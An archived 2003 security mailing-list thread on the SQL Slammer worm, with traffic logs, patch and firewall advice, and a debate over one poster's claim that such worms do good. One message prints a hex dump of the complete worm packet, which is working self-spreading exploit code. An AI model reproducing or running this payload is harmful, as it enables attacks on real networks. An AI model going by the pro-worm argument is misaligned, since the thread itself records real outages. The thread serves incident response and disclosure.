Fw: MS SQL WORM IS DESTROYING INTERNET BLOCK PORT 1434!

[Jeremy Kister]

Some News: http://news.zdnet.co.uk/story/0,,t269-s2099780,00.html
Advisory: http://www.nextgenss.com/advisories/mssql-udp.txt
Microsoft Fix:
http://www.microsoft.com/technet/treeview/default.asp?url=/technet/security/
bulletin/MS02-039.asp

MS SQL listens on port 1434/udp so that clients can figure out which method
of communication to use (named pipes, tcp/ip et al)
there are two problems that yield ability to execute code remotely while
unauthenticated.


-------------------------------------------------------
Jeremy Kister
www.jeremykister.com
PGP: http://www.jeremykister.com/jeremy/public_key.asc
-------------------------------------------------------


-----Original Message-----
From: Michael Bacarella [mailto:mbac@netgraft.com]
Sent: Saturday, January 25, 2003 2:12 AM
To: nylug-talk@nylug.org; wwwac@lists.wwwac.org; linux-elitists@zgp.org
Subject: MS SQL WORM IS DESTROYING INTERNET BLOCK PORT 1434!

>
> I'm getting massive packet loss to various points on the globe.
> I am seeing a lot of these in my tcpdump output on each
> host.
>
> 02:06:31.017088 150.140.142.17.3047 > 24.193.37.212.ms-sql-m: udp 376
> 02:06:31.017244 24.193.37.212 > 150.140.142.17: icmp: 24.193.37.212 udp
port
> ms-sql-m unreachable [tos 0xc0
>
> It looks like there's a worm affecting MS SQL Server which is
> pingflooding addresses at some random sequence.
>
> All admins with access to routers should block port 1434 (ms-sql-m)!
>
> Everyone running MS SQL Server shut it the hell down or make
> sure it can't access the internet proper!
>
> I make no guarantees that this information is correct, test it
> out for yourself!
>
> --
> Michael Bacarella 24/7 phone: 646 641-8662
> Netgraft Corporation http://netgraft.com/
> "unique technologies to empower your business"
>
> Finger email address for public key. Key fingerprint:
> C40C CB1E D2F6 7628 6308 F554 7A68 A5CF 0BD8 C055
>
>

[Ed Blanchfield]

Hi,

This seems to have started for us about 4:30pm (GMT+11) today.

Lucky for us we block all MS-SQL 1434/udp traffic. We have logged over=20
130,000 firewall blocked connections across 15 odd sites, and it's commin=
g in=20
from all over the world.

I don't have any infected servers to study the habits of this worm, but t=
he=20
payload seems to always look pretty much like this.

8<---snip
20:56:02.115087 X.X.X.X.4178 > X.X.X.X.1434: [udp sum ok] udp 376 (ttl 1=
09,=20
id 46811)
0000: 4500 0194 b6db 0000 6d11 2e2d 89e5 0a9c E...=B6=DB..m..-.=E5..
0010: cb08 07c7 1052 059a 0180 bda8 0401 0101 =CB..=C7.R....=BD=A8....
0020: 0101 0101 0101 0101 0101 0101 0101 0101 ................
0030: 0101 0101 0101 0101 0101 0101 0101 0101 ................
0040: 0101 0101 0101 0101 0101 0101 0101 0101 ................
0050: 0101 0101 0101 0101 0101 0101 0101 0101 ................
0060: 0101 0101 0101 0101 0101 0101 0101 0101 ................
0070: 0101 0101 0101 0101 0101 0101 01dc c9b0 .............=DC=C9=B0
0080: 42eb 0e01 0101 0101 0101 70ae 4201 70ae B=EB........p=AEB.p=AE
0090: 4290 9090 9090 9090 9068 dcc9 b042 b801 B........h=DC=C9=B0B=B8.
00a0: 0101 0131 c9b1 1850 e2fd 3501 0101 0550 ...1=C9=B1.P=E2=FD5....P
00b0: 89e5 5168 2e64 6c6c 6865 6c33 3268 6b65 .=E5Qh.dllhel32hke
00c0: 726e 5168 6f75 6e74 6869 636b 4368 4765 rnQhounthickChGe
00d0: 7454 66b9 6c6c 5168 3332 2e64 6877 7332 tTf=B9llQh32.dhws2
00e0: 5f66 b965 7451 6873 6f63 6b66 b974 6f51 _f=B9etQhsockf=B9toQ
00f0: 6873 656e 64be 1810 ae42 8d45 d450 ff16 hsend=BE..=AEB.E=D4P=FF.
0100: 508d 45e0 508d 45f0 50ff 1650 be10 10ae P.E=E0P.E=F0P=FF.P=BE..=AE
0110: 428b 1e8b 033d 558b ec51 7405 be1c 10ae B....=3DU.=ECQt.=BE..=AE
0120: 42ff 16ff d031 c951 5150 81f1 0301 049b B=FF.=FF=D01=C9QQP.=F1..=
=2E.
0130: 81f1 0101 0101 518d 45cc 508b 45c0 50ff .=F1....Q.E=CCP.E=C0P=FF
0140: 166a 116a 026a 02ff d050 8d45 c450 8b45 .j.j.j.=FF=D0P.E=C4P.E
0150: c050 ff16 89c6 09db 81f3 3c61 d9ff 8b45 =C0P=FF..=C6.=DB.=F3<a=D9=
=FF.E
0160: b48d 0c40 8d14 88c1 e204 01c2 c1e2 0829 =B4..@...=C1=E2..=C2=C1=E2=
=2E)
0170: c28d 0490 01d8 8945 b46a 108d 45b0 5031 =C2....=D8.E=B4j..E=B0P1
0180: c951 6681 f178 0151 8d45 0350 8b45 ac50 =C9Qf.=F1x.Q.E.P.E=ACP
0190: ffd6 ebca =FF=D6=EB=CA
8<---snip


I would also recommend that all your IDS sensors get a new signature to r=
ecord=20
all outbound 1434/udp in case it sneaks into your networks via private li=
nks,=20
etc.

Regards,

Ed.



On Sat, 25 Jan 2003 6:11 pm, Michael Bacarella wrote:
> I'm getting massive packet loss to various points on the globe.
> I am seeing a lot of these in my tcpdump output on each
> host.
>
> 02:06:31.017088 150.140.142.17.3047 > 24.193.37.212.ms-sql-m: udp 376
> 02:06:31.017244 24.193.37.212 > 150.140.142.17: icmp: 24.193.37.212 udp
> port ms-sql-m unreachable [tos 0xc0
>
> It looks like there's a worm affecting MS SQL Server which is
> pingflooding addresses at some random sequence.
>
> All admins with access to routers should block port 1434 (ms-sql-m)!
>
> Everyone running MS SQL Server shut it the hell down or make
> sure it can't access the internet proper!
>
> I make no guarantees that this information is correct, test it
> out for yourself!

--=20
"It is always possible to agglutinate multiple separate problems
into a single complex interdependent solution. In most cases
this is a bad idea."

-- RFC-1925=20

[George William Herbert]

This is also being widely reported on the NANOG
and inetproviders lists. Check traffic outbound
from your MS SQL hosts if any. Firewall 1434/UDP
inbound and outbound if you don't already.

Tier 1 backbones are reporting a bad night: routing
instabilities, one major dropped most of its peering
for a while, the volume from this triggers the Cisco
netflow switching bug and is causing routers to lock
up at places, etc.


-george william herbert
gherbert@retro.com

[Jeff Mills]

> I'm getting massive packet loss to various points on the globe.
> I am seeing a lot of these in my tcpdump output on each
> host.
>
> 02:06:31.017088 150.140.142.17.3047 > 24.193.37.212.ms-sql-m: udp 376
> 02:06:31.017244 24.193.37.212 > 150.140.142.17: icmp:
> 24.193.37.212 udp port ms-sql-m unreachable [tos 0xc0
>
> It looks like there's a worm affecting MS SQL Server which is
> pingflooding addresses at some random sequence.

It seems you're right.
My firewall is taking alot of hits on port 1434 since about 4pm Australian
Eastern Daylight Saving Time:

Jan 25 16:30:31 sarkmekawk iplog[234]: UDP: dgram to port 1434 from
eth870.sa.adsl.internode.on.net:1310 (376 data bytes)
Jan 25 16:32:35 sarkmekawk iplog[234]: UDP: dgram to port 1434 from
dev1.cinemas.ch:1683 (376 data bytes)
Jan 25 16:34:21 sarkmekawk iplog[234]: UDP: dgram to port 1434 from
216.179.192.248:4161 (376 data bytes)
Jan 25 16:34:41 sarkmekawk iplog[234]: UDP: dgram to port 1434 from
sql.webcoretech.com:3113 (376 data bytes)
Jan 25 16:34:42 sarkmekawk iplog[234]: UDP: dgram to port 1434 from
hds-connected.hds.com:3967 (376 data bytes)
Jan 25 16:35:34 sarkmekawk iplog[234]: UDP: dgram to port 1434 from
216.95.164.23:1141 (376 data bytes)
Jan 25 16:35:56 sarkmekawk iplog[234]: UDP: dgram to port 1434 from
134.210.1.226:3975 (376 data bytes)
Jan 25 16:36:54 sarkmekawk iplog[234]: UDP: dgram to port 1434 from
211.104.36.123:2550 (376 data bytes)
Jan 25 16:38:30 sarkmekawk iplog[234]: UDP: dgram to port 1434 from
cts21612069172.cts.com:1031 (376 data bytes)
Jan 25 16:38:31 sarkmekawk iplog[234]: UDP: dgram to port 1434 from
216.109.150.210:3462 (376 data bytes)
Jan 25 16:39:02 sarkmekawk iplog[234]: UDP: dgram to port 1434 from
207.102.74.40:4605 (376 data bytes)
Jan 25 16:39:05 sarkmekawk iplog[234]: UDP: dgram to port 1434 from
66.189.0.11:4198 (376 data bytes)
Jan 25 16:39:20 sarkmekawk iplog[234]: UDP: dgram to port 1434 from
dnsup1.biz.rr.com:3915 (376 data bytes)
Jan 25 16:39:50 sarkmekawk iplog[234]: UDP: dgram to port 1434 from
211.139.140.18:3623 (376 data bytes)
Jan 25 16:40:24 sarkmekawk iplog[234]: UDP: dgram to port 1434 from
210.91.85.200:1113 (376 data bytes)
Jan 25 16:40:26 sarkmekawk iplog[234]: UDP: dgram to port 1434 from
criminal.justice.state.mn.us:1335 (376 data bytes)
Jan 25 16:40:37 sarkmekawk iplog[234]: UDP: dgram to port 1434 from
server4.hostu.net:1038 (376 data bytes)
Jan 25 16:40:45 sarkmekawk iplog[234]: UDP: dgram to port 1434 from
61.135.134.154:3935 (376 data bytes)

That is only a very small portion of the log. There are hundreds more
entries.




************************************************** *******
** P&O - Celebrating 150 Years in Australia: 1852-2002 **
************************************************** *******

[Jay D. Dyson]

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

On 25 Jan 2003, Umit Tiric wrote:

> We can confirm it here in Toronto, Canada. Even though the effect was
> minimal to us, we saw many major networks dissappear on the Internet.

We're seeing large network disruption here in Los Angeles. Right
now, packet loss is running at roughly 95%. (This is not a typo. I do
mean *ninety-five percent* packet loss.)

> You have to patch your MS-SQL Server to the highest service pack.

More details available here:

http://www.kb.cert.org/vuls/id/370308
http://www.kb.cert.org/vuls/id/399260
http://www.kb.cert.org/vuls/id/484891

And to think...up until tonight, I thought the vulnerabilities
that paved the way for Nimda were the worst that Microsoft could do to the
net.community. They've really topped themselves this time.

- -Jay

( ( _______
)) )) .-"There's always time for a good cup of coffee."-. >====<--.
C|~~|C|~~| (>------ Jay D. Dyson - jdyson@treachery.net ------<) | = |-'
`--' `--' `How about a 10-day waiting period on YOUR rights?' `------'

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.0.7 (TreacherOS)
Comment: See http://www.treachery.net/~jdyson/ for current keys.

iD8DBQE+MnagTqL/+mXtpucRAjD0AJ9QEhwxeEdzn/s7d7M2Fs+Q6a7jjACdEAAN
krgyU75949WTlrDdKrsrQLc=
=mmPu
-----END PGP SIGNATURE-----

[H D Moore]

A worm which exploits a (new?) vulnerability in SQL Server is bringing
the core routers to a grinding halt. The speed of the propagation can be
attributed to the attack method and simplicity of the code. The worm
sends a 376-byte UDP packet to port 1434 of each random target, each
vulnerable system will immediately start propagating itself. Since UDP
is connection-less, the worm is able to spread much more quickly than
those using your standard TCP-based attack vectors (no connect
timeouts).

Some random screen shots, a copy of the worm as a perl script, and a
disassembly (sorry, no comments) can be found online at:

http://www.digitaloffense.net/worms/mssql_udp_worm/

-HD

On Saturday 25 January 2003 01:11, Michael Bacarella wrote:
> I'm getting massive packet loss to various points on the globe.
> I am seeing a lot of these in my tcpdump output on each
> host.
>
> 02:06:31.017088 150.140.142.17.3047 > 24.193.37.212.ms-sql-m: udp 376
> 02:06:31.017244 24.193.37.212 > 150.140.142.17: icmp: 24.193.37.212 udp
> port ms-sql-m unreachable [tos 0xc0
>
> It looks like there's a worm affecting MS SQL Server which is
> pingflooding addresses at some random sequence.
>
> All admins with access to routers should block port 1434 (ms-sql-m)!
>
> Everyone running MS SQL Server shut it the hell down or make
> sure it can't access the internet proper!
>
> I make no guarantees that this information is correct, test it
> out for yourself!

-------------------------------------------------------

[Byron Morton]

In-Reply-To: <20030125021141.A23211@romulus.netgraft.com>

This is indeed happening widely tonight. Some of the
client machines here have been hit as their boxes were
not patched up properly. We have firewalled access and
have brought our core switches online again after a
brief interruption where the traffic here got up to a
little over 110Mbits/s. The switches simply went into
failover. The good news is that it is not autonomous,
so you can control access through port filtering until
the patches are applied.

The UDP D.O.S. attack: (Random snippets from logs)
PROTO=UDP SPT=1518 DPT=1434
PROTO=UDP SPT=1032 DPT=1434
PROTO=UDP SPT=1077 DPT=1434
PROTO=UDP SPT=4319 DPT=1434

/b

>Received: (qmail 1867 invoked from network); 25 Jan
2003 08:39:23 -0000
>Received: from outgoing3.securityfocus.com
(205.206.231.27)
> by mail.securityfocus.com with SMTP; 25 Jan 2003
08:39:23 -0000
>Received: from lists.securityfocus.com
(lists.securityfocus.com [205.206.231.19])
> by outgoing3.securityfocus.com (Postfix) with QMQP
> id A5DACA30A5; Sat, 25 Jan 2003 00:59:36 -0700 (MST)
>Mailing-List: contact bugtraq-help@securityfocus.com;
run by ezmlm
>Precedence: bulk
>List-Id: <bugtraq.list-id.securityfocus.com>
>List-Post: <mailto:bugtraq@securityfocus.com>
>List-Help: <mailto:bugtraq-help@securityfocus.com>
>List-Unsubscribe:
<mailto:bugtraq-unsubscribe@securityfocus.com>
>List-Subscribe:
<mailto:bugtraq-subscribe@securityfocus.com>
>Delivered-To: mailing list bugtraq@securityfocus.com
>Delivered-To: moderator for bugtraq@securityfocus.com
>Received: (qmail 28308 invoked from network); 25 Jan
2003 07:06:20 -0000
>Date: Sat, 25 Jan 2003 02:11:41 -0500
>From: Michael Bacarella <mbac@netgraft.com>
>To: nylug-talk@nylug.org, wwwac@lists.wwwac.org,
> linux-elitists@zgp.org
>Subject: MS SQL WORM IS DESTROYING INTERNET BLOCK PORT
1434!
>Message-ID: <20030125021141.A23211@romulus.netgraft.com>
>Mime-Version: 1.0
>Content-Type: text/plain; charset=us-ascii
>Content-Disposition: inline
>User-Agent: Mutt/1.2.5i
>Resent-From: mbac@romulus.netgraft.com
>Resent-Date: Sat, 25 Jan 2003 02:12:54 -0500
>Resent-To: bugtraq@securityfocus.com
>Resent-Message-Id:
<20030125071254.1B3F7681AD@romulus.netgraft.com>
>
>I'm getting massive packet loss to various points on
the globe.
>I am seeing a lot of these in my tcpdump output on each
>host.
>
>02:06:31.017088 150.140.142.17.3047 >
24.193.37.212.ms-sql-m: udp 376
>02:06:31.017244 24.193.37.212 > 150.140.142.17: icmp:
24.193.37.212 udp port ms-sql-m unreachable [tos 0xc0
>
>It looks like there's a worm affecting MS SQL Server
which is
>pingflooding addresses at some random sequence.
>
>All admins with access to routers should block port
1434 (ms-sql-m)!
>
>Everyone running MS SQL Server shut it the hell down
or make
>sure it can't access the internet proper!
>
>I make no guarantees that this information is correct,
test it
>out for yourself!
>
>--
>Michael Bacarella 24/7 phone: 646
641-8662
>Netgraft Corporation
http://netgraft.com/
> "unique technologies to empower your business"
>
>Finger email address for public key. Key fingerprint:
> C40C CB1E D2F6 7628 6308 F554 7A68 A5CF 0BD8 C055
>

[cstone]

On Sat, Jan 25, 2003 at 02:11:41AM -0500, Michael Bacarella wrote:
> I'm getting massive packet loss to various points on the globe.
> I am seeing a lot of these in my tcpdump output on each
> host.
>
> It looks like there's a worm affecting MS SQL Server which is
> pingflooding addresses at some random sequence.

yeah. i guess it's an old vulnerability, but i don't keep up on
this stuff.

however, i have disassembled the code inside; all it does is send
itself to pseudorandomly generated hosts.

there is an annotated disassembly at
http://www.boredom.org/~cstone/worm-annotated.txt

--cstone@pobox.com

[Mike Tindor]

In-Reply-To: <20030125021141.A23211@romulus.netgraft.com>

Michael,

I feel your pain. I've seen the same thing starting at 12:46 AM EST 01-25-
2003 at one of our colocation facilities.

I haven't had time to analyze things as of yet - I discovered three
machines, all with activity that started at this same time, all running
windows 2000 and SQL Server 2000.

It crippled internal connectivity - basically, any machine that actively
had this going on, if we would plug it into a port on an HP4000 switch it
would freeze the switch instantly and then anything on the local network
would suffer.

I'm working on isolating these machines to a local segment and then
putting them back online so that I may see what type of traffic is
generated or received at brief intervals.

I don't know what it is, but it's certainly detrimental to network
performance!

Mike Tindor
FIRST Internet

>Received: (qmail 1867 invoked from network); 25 Jan 2003 08:39:23 -0000
>Received: from outgoing3.securityfocus.com (205.206.231.27)
> by mail.securityfocus.com with SMTP; 25 Jan 2003 08:39:23 -0000
>Received: from lists.securityfocus.com (lists.securityfocus.com
[205.206.231.19])
> by outgoing3.securityfocus.com (Postfix) with QMQP
> id A5DACA30A5; Sat, 25 Jan 2003 00:59:36 -0700 (MST)
>Mailing-List: contact bugtraq-help@securityfocus.com; run by ezmlm
>Precedence: bulk
>List-Id: <bugtraq.list-id.securityfocus.com>
>List-Post: <mailto:bugtraq@securityfocus.com>
>List-Help: <mailto:bugtraq-help@securityfocus.com>
>List-Unsubscribe: <mailto:bugtraq-unsubscribe@securityfocus.com>
>List-Subscribe: <mailto:bugtraq-subscribe@securityfocus.com>
>Delivered-To: mailing list bugtraq@securityfocus.com
>Delivered-To: moderator for bugtraq@securityfocus.com
>Received: (qmail 28308 invoked from network); 25 Jan 2003 07:06:20 -0000
>Date: Sat, 25 Jan 2003 02:11:41 -0500
>From: Michael Bacarella <mbac@netgraft.com>
>To: nylug-talk@nylug.org, wwwac@lists.wwwac.org,
> linux-elitists@zgp.org
>Subject: MS SQL WORM IS DESTROYING INTERNET BLOCK PORT 1434!
>Message-ID: <20030125021141.A23211@romulus.netgraft.com>
>Mime-Version: 1.0
>Content-Type: text/plain; charset=us-ascii
>Content-Disposition: inline
>User-Agent: Mutt/1.2.5i
>Resent-From: mbac@romulus.netgraft.com
>Resent-Date: Sat, 25 Jan 2003 02:12:54 -0500
>Resent-To: bugtraq@securityfocus.com
>Resent-Message-Id: <20030125071254.1B3F7681AD@romulus.netgraft.com>
>
>I'm getting massive packet loss to various points on the globe.
>I am seeing a lot of these in my tcpdump output on each
>host.
>
>02:06:31.017088 150.140.142.17.3047 > 24.193.37.212.ms-sql-m: udp 376
>02:06:31.017244 24.193.37.212 > 150.140.142.17: icmp: 24.193.37.212 udp
port ms-sql-m unreachable [tos 0xc0
>
>It looks like there's a worm affecting MS SQL Server which is
>pingflooding addresses at some random sequence.
>
>All admins with access to routers should block port 1434 (ms-sql-m)!
>
>Everyone running MS SQL Server shut it the hell down or make
>sure it can't access the internet proper!
>
>I make no guarantees that this information is correct, test it
>out for yourself!
>
>--
>Michael Bacarella 24/7 phone: 646 641-8662
>Netgraft Corporation http://netgraft.com/
> "unique technologies to empower your business"
>
>Finger email address for public key. Key fingerprint:
> C40C CB1E D2F6 7628 6308 F554 7A68 A5CF 0BD8 C055
>

[Jason Coombs]

Jay Dyson wrote:
> And to think...up until tonight, I thought the vulnerabilities
> that paved the way for Nimda were the worst that Microsoft could do
> to the net.community. They've really topped themselves this time.

As of now we don't know who wrote the worm, but we do know that it looks
like a concept worm with no malicious payload. There is a good argument to
be made in favor of such worms. Whomever did write this worm could have done
severe damage beyond unfocused DDoS and chose not to do so. One would expect
intelligence agencies in developed countries to write and release precisely
this type of concept worm as a form of mass inoculation against malicious
attacks.

Before you get upset at your vendor, or anyone else's, consider the bigger
picture and recognize the increased security hardening the Internet just
received. Belief in this silver lining shouldn't be taken too far, of
course, but flaming anyone over an event like this is misplaced considering
the number of infosec experts who would probably have agreed to write this
worm if approached by their nations' government with proof that an adversary
was planning to cause severe harm by exploiting the W32/SQLSlammer
vulnerability.

Sincerely,

Jason Coombs
jasonc@science.org

[Richard M. Smith]

However, this worm might not be so harmless as it appears because of
collateral damage:

Bank of America ATMs Disrupted by Virus

http://story.news.yahoo.com/news?tmpl=story&ncid=578&e=3&cid=569&u=/nm/2
0030125/tc_nm/tech_virus_dc

"SEATTLE (Reuters) - Bank of America Corp. said on
Saturday that customers at a majority of its 13,000
automatic teller machines were unable to process
customer transactions after a malicious computer worm
nearly froze Internet traffic worldwide."

Richard M. Smith
http://www.ComputerBytesMan.com

-----Original Message-----
From: Jason Coombs [mailto:jasonc@science.org]
Sent: Saturday, January 25, 2003 4:41 PM
To: Jay D. Dyson; Bugtraq
Subject: RE: MS SQL WORM IS DESTROYING INTERNET BLOCK PORT 1434!


Jay Dyson wrote:
> And to think...up until tonight, I thought the vulnerabilities
> that paved the way for Nimda were the worst that Microsoft could do
> to the net.community. They've really topped themselves this time.

As of now we don't know who wrote the worm, but we do know that it looks
like a concept worm with no malicious payload. There is a good argument
to
be made in favor of such worms. Whomever did write this worm could have
done
severe damage beyond unfocused DDoS and chose not to do so. One would
expect
intelligence agencies in developed countries to write and release
precisely
this type of concept worm as a form of mass inoculation against
malicious
attacks.

Before you get upset at your vendor, or anyone else's, consider the
bigger
picture and recognize the increased security hardening the Internet just
received. Belief in this silver lining shouldn't be taken too far, of
course, but flaming anyone over an event like this is misplaced
considering
the number of infosec experts who would probably have agreed to write
this
worm if approached by their nations' government with proof that an
adversary
was planning to cause severe harm by exploiting the W32/SQLSlammer
vulnerability.

Sincerely,

Jason Coombs
jasonc@science.org

[trent dilkie]

Can anybody confirm that this worm is spreading on the Desktop Engine too?
(MSDE)

Thanks,
Trent.

-----Original Message-----
From: H D Moore [mailto:sflist@digitaloffense.net]
Sent: Saturday, January 25, 2003 6:49 AM
To: bugtraq@securityfocus.com
Subject: Re: MS SQL WORM IS DESTROYING INTERNET BLOCK PORT 1434!


A worm which exploits a (new?) vulnerability in SQL Server is bringing the
core routers to a grinding halt. The speed of the propagation can be
attributed to the attack method and simplicity of the code. The worm sends
a 376-byte UDP packet to port 1434 of each random target, each vulnerable
system will immediately start propagating itself. Since UDP is
connection-less, the worm is able to spread much more quickly than those
using your standard TCP-based attack vectors (no connect timeouts).

Some random screen shots, a copy of the worm as a perl script, and a
disassembly (sorry, no comments) can be found online at:

http://www.digitaloffense.net/worms/mssql_udp_worm/

-HD

On Saturday 25 January 2003 01:11, Michael Bacarella wrote:
> I'm getting massive packet loss to various points on the globe. I am
> seeing a lot of these in my tcpdump output on each host.
>
> 02:06:31.017088 150.140.142.17.3047 > 24.193.37.212.ms-sql-m: udp 376
> 02:06:31.017244 24.193.37.212 > 150.140.142.17: icmp: 24.193.37.212
> udp port ms-sql-m unreachable [tos 0xc0
>
> It looks like there's a worm affecting MS SQL Server which is
> pingflooding addresses at some random sequence.
>
> All admins with access to routers should block port 1434 (ms-sql-m)!
>
> Everyone running MS SQL Server shut it the hell down or make sure it
> can't access the internet proper!
>
> I make no guarantees that this information is correct, test it out for
> yourself!

-------------------------------------------------------

[John Howie]

Jason,

I can't believe you wrote this - seriously, I can't.

>=20
> As of now we don't know who wrote the worm, but we do know that it
looks
> like a concept worm with no malicious payload. There is a good
argument to
> be made in favor of such worms.=20
>

What good can come of a widespread DoS of the Internet? What about the
problems that come hacker getting a hold of the payload and making it
more malicious before everyone can respond? Remember, most people won't
know about this until Monday and won't be able to fix the problem until
later that day, or perhaps later in the week.

>=20
> Before you get upset at your vendor, or anyone else's, consider the
bigger
> picture and recognize the increased security hardening the Internet
just
> received.
>

It shouldn't have needed it. Microsoft released a patch for the
vulnerability some time ago (granted it wasn't easy to install,
especially for MSDE installations) but the real problem is those system
administrators who don't apply patches when there is no good reason not
to, and the network and firewall administrators who, for some
incomprehensible reason, leave open ports like this in their firewalls
and routers.

Maybe the time has come to draft legislation to prosecute not only the
writers of such malware, but those who recklessly leave their systems
vulnerable and defenseless and, through their negligence, help propagate
malware. Lastly, Microsoft and all other vendors need to make their
patches available for all configurations and easier to install (a quick
check shows that SQL Server SP3 is still not available for MSDE).

John Howie CISSP MCSE
President, Security Toolkit LLC

[Jay D. Dyson]

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

On Sat, 25 Jan 2003, Jason Coombs wrote:

> > And to think...up until tonight, I thought the vulnerabilities
> > that paved the way for Nimda were the worst that Microsoft could do
> > to the net.community. They've really topped themselves this time.
>
> As of now we don't know who wrote the worm, but we do know that it looks
> like a concept worm with no malicious payload. There is a good argument
> to be made in favor of such worms.

Oh, that doesn't bother me. Net.downtime actually gives me an
excuse to take some time off and do other things.

What bothers me is that the very vendor that claims that their
closed source approach is "more secure" (and insists that Open Source is a
"threat to national security") and makes all manner of noises about how
they're raising the bar on security standards is THE VERY SAME vendor that
has done more to destabilize the 'net than any other vendor...BAR NONE.

That's what really sticks in my craw.

> Before you get upset at your vendor, or anyone else's, consider the bigger
> picture and recognize the increased security hardening the Internet just
> received.

Sure. And spontaneously-combusting consumer products are just a
community service announcement on the value of fire insurance.

Sorry, I don't buy the claim that this fault of Microsoft's and
the MS-SQL worm are going to result in any sort of "hardening" of the
'net. Hell, Nimda came out on September 18, 2001 and I have YET to see
an end to its presence on the 'net.

- -Jay

( ( _______
)) )) .-"There's always time for a good cup of coffee."-. >====<--.
C|~~|C|~~| (>------ Jay D. Dyson - jdyson@treachery.net ------<) | = |-'
`--' `--' `How about a 10-day waiting period on YOUR rights?' `------'

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.0.7 (TreacherOS)
Comment: See http://www.treachery.net/~jdyson/ for current keys.

iD8DBQE+MxnmTqL/+mXtpucRAgASAKCs9OwErZYOvEIxv6ZfSstWMYQstwCbBGtS
C/LdyRjed9PYs9cIWhvBr8E=
=GCri
-----END PGP SIGNATURE-----

[Jason Coombs]

Colm MacCarthaigh wrote:
> If the worm had a malicious (in your terms) payload, it would have
> caused networks just as many problems (so no gain there), and more harm
> to MS-SQL users. Using your logic, surely this much more damaging
> experience would have cause MS-SQL admins to be more responsible in
> keeping up to date ? Or rather, more fearful of future exploits.

Precisely my point. Sapphire was not designed to inspire fear. If this had
been a terrorist act it would have done so, and it could have done so. It
did not. In my mind Sapphire inspires confidence that somebody, somewhere
might actually be thinking for a change. Unfortunate inconveniences aside,
anything actually *damaged* by Sapphire (in a physical/non-trivial sense of
the word) was too vulnerable for use in the first place.

Sincerely,

Jason Coombs
jasonc@science.org

[Dave Aitel]

Yes, the 150DaySQLwurm (my new name for it, since we all get to make up
names today) does affect MSDE. And there's no SP3 for MSDE, but I've
installed the latest wrap-up patch and the resolver patch and either one
seemed to do it. You have to be careful that you:

1. Make sure SQL Server is not running while you copy over the files
that install the patch

2. Copy of the files onto all the instances of SQL server you have
installed

3. Reboot before restarting SQL Server

You should be careful (on both MSDE and SQL Server 2000) not to install
just the patch for the resolver overflow, since you will then still be
vulnerable to the Hello bug. Of course, if you're still vulnerable to
either, you are most definately already owned, and likely should
reinstall Windows to unload whatever kernel trojans are fighting over
your internal data.

If anyone writes a worm for the Hello bug, I hereby pre-name it the "Yo
G! What's up! SQL!" worm.

Dave Aitel
Immunity, Inc.


On Sat, 25 Jan 2003 13:56:36 -0500
"trent dilkie" <trent@dilkie.com> wrote:

> Can anybody confirm that this worm is spreading on the Desktop Engine
> too?(MSDE)
>
> Thanks,
> Trent.
>
> -----Original Message-----
> From: H D Moore [mailto:sflist@digitaloffense.net]
> Sent: Saturday, January 25, 2003 6:49 AM
> To: bugtraq@securityfocus.com
> Subject: Re: MS SQL WORM IS DESTROYING INTERNET BLOCK PORT 1434!
>
>
> A worm which exploits a (new?) vulnerability in SQL Server is bringing
> the
> core routers to a grinding halt. The speed of the propagation can be
> attributed to the attack method and simplicity of the code. The worm
> sends a 376-byte UDP packet to port 1434 of each random target, each
> vulnerable system will immediately start propagating itself. Since UDP
> is
> connection-less, the worm is able to spread much more quickly than
> those using your standard TCP-based attack vectors (no connect
> timeouts).
>
> Some random screen shots, a copy of the worm as a perl script, and a
> disassembly (sorry, no comments) can be found online at:
>
> http://www.digitaloffense.net/worms/mssql_udp_worm/
>
> -HD
>
> On Saturday 25 January 2003 01:11, Michael Bacarella wrote:
> > I'm getting massive packet loss to various points on the globe. I am
> >
> > seeing a lot of these in my tcpdump output on each host.
> >
> > 02:06:31.017088 150.140.142.17.3047 > 24.193.37.212.ms-sql-m: udp
> > 376 02:06:31.017244 24.193.37.212 > 150.140.142.17: icmp:
> > 24.193.37.212 udp port ms-sql-m unreachable [tos 0xc0
> >
> > It looks like there's a worm affecting MS SQL Server which is
> > pingflooding addresses at some random sequence.
> >
> > All admins with access to routers should block port 1434 (ms-sql-m)!
> >
> > Everyone running MS SQL Server shut it the hell down or make sure it
> >
> > can't access the internet proper!
> >
> > I make no guarantees that this information is correct, test it out
> > for yourself!
>
> -------------------------------------------------------
>
>
>

[Andrew Emerson]

Even more disturbing then the fact that they use the internet and not there
own subnet is that they are running Windows, and on top of this MS SQL.
Unfortunatly American Express is also having problems. After not being able
to check my account, I called them and they to have locked down services for
the time being.

PEOPLE PATCH YOUR SYSTEMS REGULARLY!

--
Best Regards.

eM

----- Original Message -----
From: "Brian McGrogan" <brian@encinc.com>
To: "Richard M. Smith" <rms@computerbytesman.com>
Sent: Saturday, January 25, 2003 8:08 PM
Subject: RE: MS SQL WORM IS DESTROYING INTERNET BLOCK PORT 1434!


> The fact that the nations largest banking institution relies on the
> Internet for ATM transactions is disturbing. I personally experienced
> this while at a Bank of America ATM today. I will never use Bank of
> America because of a statement like that.
>
> -brian
>
> On Sat, 25 Jan 2003, Richard M. Smith wrote:
>
> > However, this worm might not be so harmless as it appears because of
> > collateral damage:
> >
> > Bank of America ATMs Disrupted by Virus
> >
> > http://story.news.yahoo.com/news?tmpl=story&ncid=578&e=3&cid=569&u=/nm/2
> > 0030125/tc_nm/tech_virus_dc
> >
> > "SEATTLE (Reuters) - Bank of America Corp. said on
> > Saturday that customers at a majority of its 13,000
> > automatic teller machines were unable to process
> > customer transactions after a malicious computer worm
> > nearly froze Internet traffic worldwide."
> >
> > Richard M. Smith
> > http://www.ComputerBytesMan.com
> >
> > -----Original Message-----
> > From: Jason Coombs [mailto:jasonc@science.org]
> > Sent: Saturday, January 25, 2003 4:41 PM
> > To: Jay D. Dyson; Bugtraq
> > Subject: RE: MS SQL WORM IS DESTROYING INTERNET BLOCK PORT 1434!
> >
> >
> > Jay Dyson wrote:
> > > And to think...up until tonight, I thought the vulnerabilities
> > > that paved the way for Nimda were the worst that Microsoft could do
> > > to the net.community. They've really topped themselves this time.
> >
> > As of now we don't know who wrote the worm, but we do know that it looks
> > like a concept worm with no malicious payload. There is a good argument
> > to
> > be made in favor of such worms. Whomever did write this worm could have
> > done
> > severe damage beyond unfocused DDoS and chose not to do so. One would
> > expect
> > intelligence agencies in developed countries to write and release
> > precisely
> > this type of concept worm as a form of mass inoculation against
> > malicious
